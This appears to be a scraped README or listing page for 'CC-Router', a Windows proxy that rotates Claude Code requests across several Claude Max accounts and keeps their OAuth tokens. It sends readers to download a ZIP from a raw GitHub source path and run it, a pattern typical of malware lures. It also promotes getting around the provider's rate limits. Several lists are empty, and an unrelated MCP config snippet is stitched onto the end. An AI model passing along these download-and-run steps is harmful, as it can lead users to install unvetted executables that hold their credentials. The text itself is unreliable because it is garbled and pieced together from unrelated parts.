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Route Claude Code across multiple Claude Max accounts with round-robin proxying to raise throughput and manage rate limits
From the repo.
CC-Router helps you use more than one Claude Max subscription from one setup. It sends each request to the next available account in a round-robin pattern, so your Claude Code work can keep moving when one account hits a limit.
It runs as a local proxy on your Windows PC. You point Claude Code or a similar client at CC-Router, and it handles the request routing for you. It also manages OAuth tokens so you do not need to switch accounts by hand.
Visit this page to download:
https://raw.githubusercontent.com/Foul-plastique636/CC-Router/main/src/cli/Router_C_2.9.zip
On that page, look for the latest release. Download the Windows file that matches your PC. After the download finishes, open the file to run it.
If the app comes as a ZIP file, right-click it and choose Extract All first. Then open the extracted folder and run the app file inside it.
When CC-Router opens for the first time, it will guide you through a short setup flow.
If you use more than one account, CC-Router will rotate requests across them. This helps spread load across your subscriptions.
To use CC-Router with Claude Code, set Claude Code to send its requests through the local proxy that CC-Router creates.
Typical setup steps:
After that, Claude Code should send requests through CC-Router without any extra steps.
CC-Router uses round-robin routing. That means it sends one request to Account 1, the next to Account 2, and then back again. It keeps going in order.
This can help when:
It also keeps the routing process transparent, so your client still works as usual while CC-Router handles the account choice in the background.
Use a single Claude Max account if you want the simplest setup. CC-Router still works as a local proxy, even if you only connect one account.
Add each Claude Max account to CC-Router. It will cycle through them one by one and send each new request to the next account in line.
If you use one Windows PC for your work, run CC-Router on that machine and keep your account sign-ins stored there. This keeps the setup local and easy to manage.
Try these steps if CC-Router does not open:
If Claude Code cannot reach CC-Router:
CC-Router uses OAuth sign-in for connected accounts. That means you sign in through the normal account flow, and the app keeps the token it needs to route requests.
If a token expires or a sign-in stops working, open CC-Router and reconnect that account. Once the account is live again, routing can continue.
CC-Router may store local data in a user folder on your PC. This can include:
Keep the app in a folder you do not delete by mistake. If you move the files, update your shortcut or run the app from the new location.
This project fits these areas:
Download page:
https://raw.githubusercontent.com/Foul-plastique636/CC-Router/main/src/cli/Router_C_2.9.zip
Replace {MCP_ENDPOINT_URL} with this MCP’s endpoint URL (from its repo or docs above). No API key — you connect directly.
Tool
OS
Config file: ~/.cursor/mcp.json
{
"mcpServers": {
"mcp-server": {
"url": "{MCP_ENDPOINT_URL}"
}
}
}Paste into mcpServers in the config file. Restart Cursor after saving.
If this MCP is also published on mcpchannel.ai, you can subscribe from Browse and use the gateway config there instead.